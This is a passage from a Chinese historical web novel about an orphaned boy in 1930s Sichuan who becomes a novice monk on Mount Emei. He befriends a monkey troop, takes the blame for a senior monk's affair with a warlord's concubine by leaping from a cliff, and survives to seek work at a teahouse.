老主持端详这孩子,抛开瘦小的体型不谈,其实五官是极为端正的,眉眼间看的出父母长相不俗,小小年纪浑身已有一股狠劲,但又能被他谨慎地克制着,像是受过什么恩惠福荫,使他心中有了软处。
这般孩童,若是真的就此流落江湖,待到那克制消失,便易身入杀阵,怕是难得善终。
“小施主来了寺里一日,看到了什么?”老主持开口问道。
周立行想了想,“看了佛像、和尚和香客,听了早课诵经和点释。”
然后他又答道,“我问了其它师傅,早上诵的是大悲咒,我听过的那一段,已经会背了。”
老主持拈着佛珠的手指一顿,有了兴趣,若是过耳能记,那还真是聪慧过人。
“哦?念来听听。”
周立行便闭眼背诵起来:“南無喝囉怛那哆羅夜耶……”。
他自小便如此,别人讲的事情,再长再绕,他即便听不懂,也能一音不差一字不落地记下来,一个月内随时能够复述。
但也正是因为如此,别人埋怨过他什么,憎恶过他的话,他都无法忘怀,所以有时候会越想越气,没法给那些伤害别人后自己一忘了之还要责怪别人计较的蠢货们好脸色。
老主持听完,闭目诵了一声佛号。
许是见周立行聪慧,或也是真心觉得有缘,老主持留下了他。
因其年纪尚小,未必能长留佛门,所以只是暂时去俗姓,改姓释,剃度头发,取名静善。
其余流程暂且未做,老主持许他到了十八岁再做打算。
周立行,哦不,此时应叫做释静善,并没有那么长远的打算。他给自己找到了一个有饭吃,有衣穿,有床睡的好地方,这里能通过诵经学识字,有师兄们教授简单武艺,已是极好的。
虽说他很快弄懂了,而立之年是三十岁,可他才十二岁,太长太远的事情,他暂且不去想了。
*
寺里不大,静善(周立行)和静空成了同住一间房的师兄弟。
静空发现,这个新入寺的勤快小和尚,每天打扫院子,拿鸡毛掸子给佛像掸灰,在厨房洗碗,忙得不亦乐乎。
同时,因其过耳能记,过目不忘的本事,很快就能帮香客诵经甚至是写字,字体写的还挺不错,越来越受欢迎。尤其是上香的一些太太小姐,对着成年和尚总觉不妥,对着这个伶俐的小沙弥可就方便许多。
周立行总是得一些打赏,他按规矩大头交给了寺里,留下小小的一些,重新做了个小钱袋,压在了自个儿的床铺下面。这个情况静空时知道的,但他假装什么也没有发觉。
平日里,静空还发现,静善清早和傍晚都要出去一趟,回来的时候总是衣衫凌乱,像是打架,好奇之下,他悄悄跟了一回。
不跟不知道,一跟一问,啼笑皆非。
原来周立行虽然遵了佛门的规矩不杀生不偷盗,但他觉得没说不能报仇啊!
他一直记着那群猴子的仇,天天出去寻觅,待对猴群活动轨迹了如指掌后,便开始了埋伏、堵截、设陷等方式,尤其针对当时差点把他推下山崖的猴王,那猴王浑身棕色却在脑门上长一缕白毛,好认得很。
猴群一开始没搞懂,咋地这本地小和尚要收拾它们。许是长日的追打,让猴王闻出来了味道。
当猴王的多少有些慧根,它深觉此事不是办法,于是出来找静善单挑。
一开始,周立行打不赢。
但他不服输,屡败屡战,打得猴王暴躁。
静空啼笑皆非,但也看出来周立行是个学
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武的好根骨,因为这小和尚竟然无师自通……或者说跟着猴王学出了长臂通背形意拳的姿态!
静空自己也是好武的,他假装不知周立行和猴群的恩怨,主动教他武艺。
周立行喜笑颜开,从最起初的扎马步开始,跳梅花桩,和其它师兄们切磋拳法。除开这些,他自己还学猴子如何在林子里只用手臂攀爬活动。
功夫不如有心人,一年多以后,静善终于把一对一地把猴王给打趴下了。
那一日,静善扬眉吐气,猴群异常兴奋。
悄悄跟踪看热闹的静空差点没把肚子笑痛,连喊了十几声佛号,喊得静善都看到了他。
“师兄?”周立行扭头看到晓得直不起腰的静善,一时间不知道该摆什么表情,他内心颇有些尴尬,脸上却稳住了一副冷脸。
“哈哈哈……恭贺小师弟荣登猴王宝座……”
静空的嘴角怎么都压不下去,这小师弟当真是毅力非凡,初心不改,最终达成所愿。
“猴王???”周立行满头雾水,他只是从想复仇变成想干赢而已。
“万物有灵,天地有道,这猴群也有猴群的法则。你常日里和它们一起爬树摘果,冬日里给它们送吃食,又一直只挑战猴王。”
静空忍不住又哈哈大笑,俊美和尚形象全无,他还忍不住逗小师弟:
“这些猴子,都认你当老大了。喏,猴群里,只有猴王有繁衍的权力,你当了猴王,可以娶很多母猴子呢。”
周立行顿时如遭雷击,偏长的双眼瞪得老圆,大声喊道:
“出家人禁淫邪……不不,我不是要当猴王……”
为了不当猴王,周立行赶紧把已经揍翻在地的前猴王扶起来,架着猴王的手让他给了自己一巴掌,然后鹞子翻身连滚几圈,爬起来之后假装浑身剧痛大哭一场,然后扯着师兄一溜烟跑路。
猴王满眼震惊,猴群集体疑惑,刻在基因里的规矩被这个不要脸的小沙弥搅成一团乱麻。
但自此之后,这群猴子像是认了周立行,平日里隔三差五要来看望老大,母猴们生了小猴子还会专门送来给周立行抱一抱,其它猴子们更是会进献一些瓜果。
静空虽然为小师弟保密,但每次似笑非笑的模样让周立行头皮发麻。周立行一边糊弄老主持,表示这是猴群对寺里的上供,一边不得不对猴群冰释前嫌,彻底不追求当年的仇恨,转而照顾起猴群。
尤其是冬日对猴群的布施,全由周立行负责。
甚至……他还得在这群猴子和其它猴群起冲突的时候,被猴王邀请去坐镇观战,自家猴群打不赢了,他还得下场帮忙……
猴群之间的冲突参与多了,周立行在峨嵋山的猴位也就愈发的高了,若是猴群能取名,估计能给他封一个总舵主之类的。
周立行没想到自己好勇斗狠复仇逞能,最终的结果是招来一群猴子猴孙,真是悔不当初。
而这样的行迹自然不可能永远瞒着寺里的师兄师伯,于是,周立行,嗯,释静善,喜提一个外号——猴狲舵把子,雅称“斗战胜佛”。
5. 峨嵋山
峨嵋武术在巴蜀内自古有名,战国时峨嵋山曾有名为司徒玄空的人编了一套攻守灵活的“峨眉通臂拳”,被徒众尊称为“白猿祖师”。
周立行者一番阴差阳错,跟一个头顶长白毛的猴王打了这么久,再接触到峨眉通臂拳的时候,如醍醐灌顶,自然而然融会贯通。
毕竟是猴狲舵把子,战力必须要强,他的这通臂拳,打得神形兼备,还颇有禅意。
山顶的和尚们听说有这么个小和尚,也是好奇,邀周立行到峨眉山顶看佛光,和他切磋拳法,同时也教给了他拳术以外的其他武术,如变化之后的通臂掌、通臂连环刀、通臂连环棍,以及白猿刀、双刀、花枪、双剑、单剑、短剑等练法。
周立行在山上也没啥子事,别人敢教,他就敢学。别人不教的,过目不忘的他也敢偷学。总之,日子过得充实得很。
习武是个力气活儿,小孩子打熬筋骨更是需要营养。活动量上去,饭量跟着也上去。
在寺里,虽说不杀生不吃肉,鸡蛋豆腐还是管够的,可周立行还是不可避免的馋肉了。
于是,静空发现,他的静善小师弟眼神越来越绿,不是盯着天上飞的鸟,树上跳的松鼠,就是林间奔跑的野鸡,时不时跃动的野狸子。
一眼看过去,杀气腾腾的!
甚至半夜睡觉的时候,他都听到周立行磨着牙咽着口水,还说着:
“钵钵鸡……藤椒鸭……烟熏腊肉……麻辣香肠……红烧牛板筋……卤水麻辣烫……卤肉咔饼子……”
静空:“……”
大半夜的报的全是好吃的,这还让人怎么睡?!
毕竟静空也是从大户人家来的,没出家之前也是钟爱美食。平时里没人念叨就算了,现在夜夜听这些,那还得了!
佛心不稳啊!
在连续五天周立行睡着做梦都心念念第报肉菜名后,静空发了狠,用一整天的时间,在厨房给周立行干出了一桌素宴。
菜籽油、花生油、核桃油、酱油等素油全部用上,雪魔芋、腐乳、豆干都拿出来,用素食给做出了肉菜的模样和香味,甚至用豆腐给做出了腊肉香肠的模样!
“我偷怂的小师弟,你就当这个是肉,吃吧,了个心愿,以后别半夜三更的念叨了!”
静空眼袋淤青,他是真的遭不住了。
再不给小师弟点素肉吃,这小师弟怕是要漫山遍野地杀生了……
这一顿饭,周立行吃得肚子滚圆,老主持也饱了口服,其他僧人都蹭了菜,还被一些香客看上了。
至此之后,静空不得不在厨房帮了很久的忙,香客们平日里大鱼大肉也不一定天天吃,偏还愿意爬山而来,只为吃一口素肉。
小孩子能吃就能长,有了师兄的专门投喂,周立行的身高体重迅速追了起来,甚至抽条得比同龄人还略高一些,肤色也褪去了黄气,白皙起来,那秀气的五官便再也埋没不住。
来寺里上香的一些太太小姐,有时候会打趣周立行,说这静善越来越不像小和尚,倒是秀气得像小尼姑了。
周立行听了气得晚上多吃了一碗饭,第二天拿菜籽油把脸涂黄,发誓要像和尚不像尼姑,让全寺的人笑话了好几天。
山中岁月缓,忽瞬已三年。
1935年,十五岁的周立行身量长开,他的五官灵动,身姿舒展,气质中那股子狠劲也淡了许多。
也许是热爱林间与猴子们戏耍,他的体型依旧劲瘦匀称,爆发力十足却并不显得魁梧,看起来倒是少年英俊威武,惹得香客们极为喜爱,再也没有人调侃他像小尼姑了。
也许是跟静空同吃同睡的缘故,周立行和静空行走坐卧等神态,愈发有些相似,别人乍眼一看,还以为是两兄弟。
静空则是真的把周立行当成了自己的小弟弟,对他十分的好。
*
老主持年纪越大,便少外出走动,更喜欢留在寺里点释。外出的事情,基本都是大师兄静诚代劳。
前来上香抽签的人有男有女,有老有少,老主持多年积攒的人脉也广,闲暇之时,总有香客居士或其他僧人来喝茶闲谈。
他一向喜欢把相貌最好看的静空和静善带在身边奉茶,于是周立行听到了许多山下的各地的事儿,对全四川有了一些了解。
比如四川的军阀和部队在全国范围里都算是奇葩,武器装备是全国最差的,一开始打仗有四不打:农忙时节不打,收割时节不打,庄稼地里不打,红白喜事不打。
真的打起来了,谁都怕自己死了,婆娘娃儿让别人给接手。帮长官抢防区收税而已,不值得拼命,要是对面的是自己的袍哥兄弟或者远亲,那大伙儿枪朝天打,起哄一阵糊弄上官也很正常。所谓“假打”一词,便也从此而来。
更有趣的是,有的袍哥武装、地方联防团保安团等乡间队伍,每家都有好几套服装,遇到军阀打仗了,哪个赢了他们马上换哪个军阀的一副,变脸娴熟,永远向赢家表忠心。
于是四川的军阀混战,从1912年打到1935年,大小400多场战争,战场上死的人并不多。
一开始的四川老百姓,看军阀打仗如看戏,只要不惹火上身,平日里生活还是过得下去的。
但到了后期,军阀们为了筹集军费,在各自防区内任意预征田赋,从1年预征1、2次发展到7、8次,甚至多达十几次,明明此刻才1935年,各防区的税已经征到了1975-1989年,最厉害的已经预征到了100年以后的2035年!
除预征田赋外,还有各种“地方附加税”,往往比正税高几倍到十几倍,令人瞠目结舌。
听香客们讲峨边县附加税为正税的29倍,雷波县高达73倍,其他勒索更是有增无减。老百姓们的生活状况愈加凄惨,但逢年景不好,川内各地暴动此伏彼起。
讽刺的便是,死在抗税暴动中人,远多于死在军阀争地盘的人。
形形色色不同的人,讲了许多不一样的
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故事。
有的讲袍哥人家走江湖的善恶传奇,有的绘声绘色描述军阀刘湘和军阀杨森对待姨太太的不同态度,有的抱怨外面日本鬼子侵占国土、国民政府不御外敌专打内战,有的颇为惊险地讲述红军四渡赤水、飞夺泸定桥、强度大渡河的传闻,还有的悄悄咪咪跟老主持探讨红军打土豪分田地是不是也算菩萨兵,毕竟对劳苦群众来说也算是渡灾解厄救苦救难……
这些消息,是周立行当年在洪雅柳江的小山村里很难听到的,就算是在柳江码头,那些走南闯北的商人们,也远不如峨嵋这边的多。周立行的见识,在这些旁人不经意的闲谈里,增长了许多。
*
1935年8月,国民军事委员会在峨嵋山报国寺举办“峨嵋军官训练团”,培训川、康、滇、黔军政要员,主要目的是整肃地方,巩固西南局面,以图一举定天下。
蒋老大对这次军训非常重视,亲自担任团长并主持了开学典礼。
典礼完成后,因峨嵋山钟灵毓秀、佛教圣地名声响亮,蒋老大自然是要上山游玩一番,尤其是听说山上有和尚高人可预知百年之事,他更是生了兴趣。
随从属下告知蒋老大,山上野猴众多顽劣不逊,袭击游人。蒋不以为意,结果一干随从侍卫们行至半山密林处,果然被猴群围抢。
侍卫们赶紧丢出去准备好的食物,然而这些军人丢的,竟全是军需罐头,猴子们抓耳挠腮打不开,更加愤怒,全力来袭,甚有猴头能挥舞竹棍打人,打得还颇有棍法!
恰逢有猴子突破防守,举着棍子要打他,蒋看的颇为震惊,情急之下,他脱下帽子驱赶猴儿。
猴儿们一见这人竟是个光头,误以为是山上僧人换了衣衫,顿时一哄而散,跑了个精光。
*
那边蒋老大继续往山上寻寺内高人,这边的“斗战胜佛”已经接到了猴子猴孙们的新上供:
打不开的罐头若干,不会用的手枪几把。
周立行和静空二人面面相觑,还没来得说什么,那送供奉的几只猴子便跑了。
静空拿起罐头看上面的字,周立行则是直接把枪塞进了床铺下面。
“小师弟……”静空觉得不妥,“今日肯定是有紧要的大人物上山了,猴子们抢的这些东西,应该是军队的。”
“我们留下这些东西,会有祸患,不如……”
周立行想了想也是,“那我找地方埋了吧。”
静空本想说不如送还给报国寺那边的的军官培训团,但回头一想,若是那些眼高于顶的傲慢军官们,误以为山里的和尚养猴群抢东西,那反倒是好事没做成,麻烦惹一堆。
这年头的人,对军队可是没任何好感。于是,静空默许了静善的提议,由着他找块布头把这些东西包起来,自行找个地方埋了。
周立行卷着东西出门,就近找个不吹风不淋雨的密林树洞藏了起来,一回寺里,听静空说老主持急着寻他,连忙赶去老主持的屋内。
6. 峨嵋山
这三年来,老主持身体看似康健,精神却逐渐不济。尤其是这两个月来,经常在屋内打坐,不爱出门。同时,诸般事务已交由大师兄静诚打理,似有什么预感。
周立行进了屋,行了个佛礼,便蹭坐到老主持身边,“主持,静善来了。”
老主持半睁开眼,缓声道,“静诚,静空,你们都进来吧。”
静诚是老主持收的大弟子。寺内众人都知晓静诚是被作为下一任主持培养的,平日里为人沉稳平和,待众人都是极好的。
静诚和静空一并进来,行礼站立。
周立行见状,心中咯噔一声,浑身的汗毛竖了起来。他意识到,也许又一场离别即将到来。
“今夜我便要圆寂了。”老主持语调平和,声音低沉,“此刻,我有些话要与你们人说。”
静诚和静空一愣,两人都跪了下去,静诚泪湿眼眶,双手合十,闭目静诵佛号。静空则是泪涌而出,哀声喊道,“师傅……”
“有生就有灭,有来就有去。生死轮回,无需哀泣。”
老主持见静空如此情绪外显,心中更是放不下,“静空,勿要让为师担忧。”
静空勉强收了泪水,“请师父示下。”
老主持轻叹了一口气,“静诚,我归去后,此寺便交给你了。望你精研佛法,守戒持身,善待寺僧。”
静诚磕了头,“徒儿谨记。”
“静空,你乃是年幼之时,家人强行送入寺内出家,拜入我名下。我已写好偈语,此信予你,你可持信还俗归家,也可下山入世行走,若是想长留此地,亦可。”
静空双手接过信封,磕头道,“劳师父费心关照,是我修心不坚。”
老主持摆摆手,最后看向周立行。
“静善,寺中你年岁最小,却最聪慧非凡。有些事情命中注定,避无可避,我观这灾祸,即刻将来。为师修为浅薄,看不出未来之事,只得告诫你,若是灾祸降临,便随心所欲吧。”
周立行心中一沉,喉间仿若塞了一团棉花,酸涩肿胀,难以下咽,“主持,我的灾祸,会连累寺庙吗?”
老主持摇摇头,“不是你的灾祸。世间之事,岂止是一人的因果。若能识得众生善恶易变,便懂如何佛性长存心中。静善,日后你在顺心而为之时,只需保留善念,但行好事,莫问因果,便能逢凶化吉,改命善终。”
周立行似是听懂了老主持的宽慰,又好似不太明白,他酸着眼眶,跪拜了下去。
当夜,云掩月光,风哭山林,回岸寺的老主持,安然圆寂了。
*
老主持圆寂后,火化出几十颗舍利子。
此事传开,有蒋委员长上山避暑的事迹在前,那些随各路大小军阀军官来峨嵋山的家眷们,纷纷往回岸寺而来。
有的是正房太太,带着随从护卫,坐着滑竿揣着金条,要想请舍利子回去护佑家宅;有的是姨太太,跟着丫头,想要来瞻仰下舍利子,顺便听听佛经,阐阐佛理,修养身心。
周立行因老主持归去,情绪低落了好几天,不怎么爱说话,连同住的静空师兄也不怎么搭理,晚上心里烦闷睡不着,白天寺里人多事多没法睡,整日蔫儿蔫儿的。
一脸几天,周立行终于到了极限,这日晌午后,周立行索性摸进寺里的藏经阁,躲在门与书架的角落缝隙里,总算是睡了过去。
然而他没睡多久,便被一阵奇异的喘息声惊醒。
虽说没见过男女敦伦,可周立行避无可避地见过猴子□□,都是灵长动物,这事儿也是互通的,所以只需一听,周立行便知道,完球了,寺里有人来犯淫邪了!
他躲在角落里,捂着耳朵不想听,然而那两人似乎是在说话,周立行干脆放下手,他倒是要听听,这是外人来找刺激,还是寺里有人破戒。
“我一眼就知师父你能渡我……既都如此了,出家人慈悲为怀,可不能半途而废……再来……”
“罪过…”
周立行起了一身的鸡皮疙瘩,恶心得想吐。
那声音虽然含混,他还是听出来是谁。他心跳如雷,口中返酸,连忙用手捂住自己的口鼻,然后缓缓地呼吸,生怕自己被发现。
待到那两人云消雨收,整理衣物离去,周立行赶紧溜出来,门都不敢出,直接从窗户上攀援而下,一骨碌地往山上跑去。
待到夜黑,周立行才磨磨蹭蹭地回来,进了自己的屋子,脸也不擦,脚也不洗,蒙头就睡。
同住一间的静空觉得奇怪,但这段时间静善一直神思不属,他想了想,便也没开口问。
哪知第二日,灾祸便至。
一队二十来人的当兵的,拿着枪背着刀,在一个副官的带领下,大清早便闯进了回岸寺,封了前后寺门,把所有的僧人们驱赶到了后院里。
周立行在寺里待这几年,僧人和香客们都是彬彬有礼的,此刻被那些粗鲁的士兵连推带踹,非常生气。他拳头捏紧,手腕上的青筋爆出,很是想跟这些粗鲁无礼的兵油子们比划比划。
静空一直抓着周立行的右手手腕,强令他不要冲动,对方有枪,有枪的人向来是蛮横无礼的。
静诚作为主持,立即站出来通副官交涉。
“阿弥陀佛,请问长官尊姓大名?是哪位司令座下?鄙寺可是哪里有所开罪?”
那副官冷笑,“莫跟我扯那些。你们这脏寺烂庙,僧人不守规矩,竟跟我家长官的八姨太苟且。八姨太昨夜里已经自尽,长官说了,奸夫淫夫得一起下地狱。”
“主持,你看是你们自己把淫僧供出来呢,还是我自己来拷问。”
静
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诚一脸正气,眉头紧皱,满脸震惊,“长官,你这话如何说来,鄙寺……”
“莫给老子放那么多屁!”副官大喝一声,摸出手枪朝天一鸣,“奸夫,给老子站出来!”
僧人们面面相觑,全是一头雾水。
只有周立行神色一变,想到了昨天下午的事情。而静空也是眸色一滞,他想到了周立行昨晚的不对劲,猜测多半小师弟知道些什么。
人群之中,周立行和静空的表情变化哪能逃过副官的眼睛,加之这二人站在僧人群里,无论是外貌还是气质,都如同鹤立鸡群,副官上下一打量,直接把嫌疑定到了这二人身上。
于是副官单手一点,几个当兵的一拥而上,把周立行和静空抓了出来。
静诚上前去拦,却被副官一脚踢翻在地。
“这两个和尚,倒是年轻俊朗,怪不得八姨太要红杏出墙。”副官用手枪挑起静空的下巴,流里流气地点评,“有点书生气质。”
然后副官看向周立行,“啧,这个嫩了点,不过少年人血气方刚,受不得勾引,也是容易破戒。”
“小僧昨日一直在主殿值守,来往香客居士都可以作证,请长官莫要误会。”
静空不卑不亢地回应,同时也替小师弟解释,“静善小师弟昨日上午一直在厨房忙碌,下午出门去喂猴子,并不在寺内……”
副官根本不听,反手用枪身给了静空脸上一下,静空嘴角被打破,血丝流了下来。
“再说一遍,莫给老子讲屁话。”
副官根本不想听,他昨晚没有守好被关押的八姨太,那贱货竟然撕了衣服绑成绳子吊死在了门框上。今儿个要是找不到自甘认罪的奸夫,回去还能保住职位吗?
要依他以前的脾气,那直接把这庙里的和尚都打死,一把火烧了,再回去禀报一声完事。
现如今可不行,老大说了,大军阀们都在峨嵋山报国寺搞军官培训,蒋委员长还去了山上寺庙求签,他不能把事情闹大,家丑不外扬,冤有头债有主,找出奸夫弄死就行,不牵扯旁人。
所以,他不在意谁是奸夫,只要有人站出来认罪,然后干脆利落地去死了,就行。
静空被打,周立行火冒三丈,然而静空却又再拉扯他的手,示意他冷静。
周立行咬紧牙关,看向主持静诚。
静诚被僧人们扶起来,又急又怒,“你这般不听人解释,这是非要把此等过错硬按……”
砰!第二声枪响。
静诚脸色苍白,那子弹擦着他的头打过去,碎了身后佛像。
“来人,点香,一炷香燃了,没人站出来认这事儿,就先在这两个俊俏和尚里挑一个毙掉。”
副官舔着牙齿狞笑,“老子才没得精神跟你们吠,反正死一个,今天就能交差了。”
7. 峨嵋山
平日里拜佛求愿的红香,此刻燃出了催命的青烟。
佛堂中菩萨垂眸,似悲似悯,静立无言。
院中僧人们脸色发白,相互用目光探询,大家相处多年,彼此都熟悉秉性,且老主持在时戒律森严,众人在寺里都循规蹈矩,从未有过如此事端。
眼看着红香燃烧过半,有些按捺不住的僧人开始低声询问,想要找出昨日单独行事且有机会接触入寺女眷的人。
毕竟事出有因,谁的因,谁去担这个果,他们修为还不够,做不到替旁人下地狱。
那副官一直在旁边走来走去,观察僧人。为了威慑,也为了不无聊,他时不时地擦拭手枪,调整准星,取出子弹数一数,又把子弹装回去,一副夺命阎王的模样。
待到红香烧尽,僧人们也自我排出了四名落单过的人。
这三人,分别是静诚主持,静空,静善,以及一名六十岁老僧。
静空不可置信地看着当时与他一同在主殿值守的两名僧人。
那两名僧人年岁都在四十岁左右,平日里有些偷奸耍滑,当时二人约着去上茅房,不知躲了多久才回主殿一起接待香客,敲钟诵经。静空如何也想不到,这二人竟觉得,他一人守主殿,也是有嫌疑和香客苟且的。
这四人,相当于被众僧给推选了出来,罪人肯定在其中,副官不甚满意,原本是二选一,现在反倒是整成四选一了,他不耐烦地开口威胁道:
“我数到三,哪个自己出来认这个事,要不然,四个一起打死!”
六十岁的老僧席地而坐,声音粗粝,“佛寺之内造杀孽,诸天神佛共知晓,妖魔鬼怪永纠缠,子孙永无出头日。军爷慎重。”
副官一噎,后悔没早点把这老乌龟的嘴给塞了。这年头当兵的,杀人不觉得有什么,但被人诅咒的话,又还是心虚的。
不过兵油子就是兵油子,副官眼珠子一转,笑道,“老和尚说的有道理,我们可以把人带出去杀。哎,我们也可以不亲自动手啊,外面山崖,自个儿跳呗,这佛祖该怪不到我们头上了撒。”
说完,他陡然提高声音,厉声道,“一,二,三!”
同时,静空也是压抑之下的一声怒喝,“哪个犯戒的自己站出来!难道要把大家一起连累了吗!”
周立行原本浑身是怒火,烧的血管突突跳,然而见那些士兵插上红香,青烟袅袅散去,静诚主持毫无办法,只在一旁闭目诵经,他身上的火气便如同那青烟一般,渐渐消散,然后只余残灰。
十五岁的他,学了这几年的佛经,这一瞬间,好似开悟些禅理。
佛度众生苦,众生苦从何开?
苦从自身起,苦从他人来。
士兵们嬉骂着大步上前,静空忍不住开始挣扎,静诚主持还在诵经,几个平日里受过静诚主持恩惠的僧人不顾危险上前阻拦,老和尚也敲起了随身带的木鱼,在这一片混乱里,周立行清朗的少年音响起。
“这事儿,我担了。”
见有人顶事儿,副官向天开了第三枪,示意大家安静。
副官走过去,这才发现小和尚竟长得和他一般高,他眯着眼睛平视小和尚,心知要么奸夫就是这小和尚,要么小和尚必定是撞见过奸情。
然而这小和尚目光平静,既无心虚,也无惧怕,要说眼底沉沉的是什么,看起来有些像是失望。
“是你干的?”副官上下打量,很确定这小和尚是出来背锅的,小小年纪,竟有些义气在身。
周立行平静地回答,“那婆娘脚心有颗痣。”
“那你就得死了。”副官并不知道八姨太脚心有没有痣,他只需要有人背锅。
“行。刚你说了,让我自己跳崖。”周立行眉目不动,回答得斩钉截铁。
副官收了枪,“好。不过小和尚,跳了崖,我们也是要去给你收尸的,所谓活要见人死要见尸,只有你死了,这事儿才能了结。”
“给长官交差的,得是死人。”
周立行目光沉沉地看向副官,“行。我交代几句后事吧。”
到这个时候,副官倒是不急不躁了。他觉得这小和尚有点意思,人死为大,交代几句后事也无妨。
周立行先是看向静诚主持,静诚主持却不敢和他对视。
昨天下午的欲海浮沉,是静诚第一次在寺里把控不住。其实他早就破了色戒,早些年下山做法事的时候,他便和那些大户人家的丫头婆子有过云雨,甚至一度借讲经除秽的机会,和有些主家的小妾保持过长时间的往来。
人的欲望一旦释放,便难以收回。老主持圆寂之
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后,寺内诸事繁多,他没得机会下山去找人鬼混,才会被那姨太太稍微撩拨,便失了克制去春风一度。
常在河边走哪有不湿鞋,以前的事儿未曾被发现过,他便以为这回偷腥也能平安,哪知道时运不济,也不知那姨太太是怎么会被发现,不仅自己丢了性命,还给寺里招了如此灾祸。
他悔,却又不敢去死,他想活。
周立行见静诚不敢和他交流,轻嗤一声,“贵寺收留我三年,传我文武,教我道理,今日我便是报了恩了。”
他不再看其他僧人,因为心中也是失望的,所谓出家人六根清净,实则遇到危难也和常人无异,舍身为人普度众生的,太少。
周立行转向静空,静空也是极聪慧的,已从周立行的神色行为里发现了真相,他面色苍白,嘴唇颤抖,一边是入寺以来便极为照顾他的师兄,一边是自己带了三年的师弟,他无法选择。
尤其是现在,师兄自私自利不敢站出来,小师弟却无畏生死地扛下了罪孽,他该怎么做呢?他仿若被山风刮去撞到悬崖的鸟,整个人都失去了思考的力气。
“师兄,佛门不是清净地,老主持给你的路,你便去试试吧。”
周立行想了想,又说道,“出了这道门,我就不是静善了。你知道我的俗家名字,我却不知道你的,能悄悄告诉我吗?”
静空泪湿脸庞,凑到周立行耳边,“我叫兰九清,排行第九。静善,立行,你能活吗?”
周立行点点头,没再说话,跟着副官和士兵们一起走出了门。他自己选择了道路,沿着山间石梯,走到了当初上山时和猴群大战的那片山崖。
当日猴子们推他未成,结果被静空所救。今日他要救静空和寺里诸人,便又得从这里自行跳下。
来时路,去时路,合二为一,这般缘分,也是奇妙。
周立行忍不住笑了起来,跳吧,若是命不该绝,他就该离开峨嵋山了。
山风大起,雾岚涌动,云团袭来,瞬间将山崖笼罩。
“啊嚯嚯嚯!!!!”周立行几步冲向崖边,嘴里发出长长的呼啸,回荡在山间召唤他的猴群,然后绷紧浑身肌肉张开四肢,一跃而下。
见此情形,副官也有些目瞪口呆,他心觉不妙,赶紧招呼士兵们往山下赶去。
8. 千秋茶馆
月朗星稀,鸟鸣山涧。
一处山洞外,乱石围起的简易火塘中,巨大的枯枝还在缓缓燃烧。
周立行已经在这洞修养快月余,周身的伤虽没有好完,却也行动无碍。
也许是佛祖保佑,也许是他命不该绝,更也许是平日里和猴群们瞎胡闹带来的福份,周立行跃下山下之后,先是凭借敏捷的伸手抓扯崖上藤蔓杂草减缓下坠趋势,坠落树林间时先遇到的是藤萝缠绕的枯树,然后下面又是一丛半大柔韧的小树丛,最下面竟然是一团野猪刨过的烂泥地。而他常年陪猴群打架,自然是少不了树上功夫,凭借本能去自保。
所以他除了肩膀脱臼、浑身擦伤外,竟然没有摔断骨头。
至于当时摔晕过去,直接被唤来的猴群抬回大本营的时候,身上多出来的抓伤和撞伤便不提了。
毕竟,若不是猴子们还算机警,周立行就算不被摔死,也得被下山找来的副官给毙掉。
因担忧那些当兵的没有找到尸体,还会去寺庙蹲点,周立行没有返回寺庙养伤,也没有贸然就下山,而是待在了猴子们的栖息地躲避。
近一月来,猴群会把抓到的动物、抢到的食物供给他,周立行也用随身带的火折子搞了个火塘,方面自己随时随地吃热食。
休养了这段时间,周立行的头发也长了出来,虽然还是短短的,但至少包得住头,他觉得是时候离开峨嵋山了。
走之前,周立行想起来自己藏的那几只枪和罐头,一琢磨,身上没有钱啊!
于是,大半夜的,周立行把额头长白毛的猴王摇起来,一人一猴一通嗷嗷比划,打着瞌睡的猴王又去呼巴掌呼醒了几只健壮猴狲儿,半夜三更地往寺庙而去。
待过了约莫一个多时辰,周立行目瞪口呆地看着那健壮猴狲儿们,抬着个长长方方的柜子翻山爬崖地回来了。
周立行:“……罪过,罪过!”
猴王上跳下窜吱哇大叫,好似自己办了件了不得的大事。
周立行忍不住给猴王抱了个拳,厉害了!竟然把寺里的功德箱给抬回来了!
我要的是钱没错,我是说拿钱,也没说把箱子抱走啊!
不管怎么说,周立行也只能感谢猴王了。他从功德箱里取出所有的钱币,说了三声阿弥陀佛,感谢佛祖的馈赠!
*
有钱有枪,周立行顿觉自己很行了,在个大雾天的清晨,他如来时一般,独自下了峨嵋山。
猴群送了他一路,到了山下,送走猴舵把子的群猴喧嚣沸腾,引得爬早山的游客们啧啧称奇。
周立行一路走的谨慎,他穿的还是僧袍,总担心自己不小心撞上当日来过寺里的人,于是不远不近地走到几户翠竹环绕的农家时,便上门用钱买了件衣服和草鞋,以及买了个竹编箱子里装东西。
又行了一段路,到无人区域,他才换了衣服,把僧袍和钱财枪支装到竹编箱子里,往峨嵋县城的方向而去。
曾经周立行以为自己会在寺里待到所谓的而立之年,哪知道才三年,便变故突生。
此刻的周立行同他当年离开舅舅家一样,并没有想好接下来去哪里、做什么。
在寺里听那些天南地北的香客居士们聊天,他大概也知道如今天下不太平,四川以外有日寇虎视眈眈,四川里军阀日子也过得满头包,总之到处都乱,而他还想活到三十岁。
不管如何,先找份活路。
青龙场镇一如既往地繁华,周立行身上揣着些钱,便也没有心急。
他到来时的那家客栈住下,用三天时间把县城前前后后走看了一遍,最后选择了去试试一家给堂倌提供阁楼床板睡觉的大茶馆,一来是这家茶馆给出的待遇最好,二来他认为人多的地方才能得知更多的消息。
这家茶馆名为“千秋茶馆”,是青龙场镇最大的一家。大院子里有戏台,四合院均是两层的砖木楼,在峨嵋县城里气派得很。
又因其每日要开两场金钱板评书,每旬还会请川剧团来唱唱戏,生意火爆,底楼的大厅桌向来座无虚席;便是二楼的雅间,也是日日订满,甚至有人直接把雅间包月,只为自己随时能呼朋引伴来此喝茶听书看戏。
人多的地方,是非也多,茶馆是个江湖地,总免不了有寻衅滋事、打架斗殴的。不眼明腿快的堂倌、门房,总免不了要被波及,有的受了伤就得请假,有的拿了赔偿金便会走人,所以每隔不了多久,茶馆总要再招些人。
此次千秋茶馆要招两个人,周立行按着时间一大早去的时候,发现竟然有几十号人在茶馆外等候。
再仔细一看,坐在店里被伙计们簇拥着的,竟是一名四十余岁的干练妇人。
前面的人进去,都是差不多的流程,先问问姓名年龄家住哪里家中几口人,然后问下会不会点功夫,再让看看认不认识茶的品种,最后是让端着六碗茶的茶盘绕着馆里走一圈,看茶水洒出多少。
带到周立行进去的时候,前面已经留下两个茶水丝毫未撒的青年了。
“五嬢,两个人差不多够了,掌柜的,还要再看看吗?”一名年岁约莫五十的矮瘦堂倌弯腰,恭敬地向女掌柜询问。
女掌柜姓刘,名字不被外人所知,江湖人称刘五嬢。
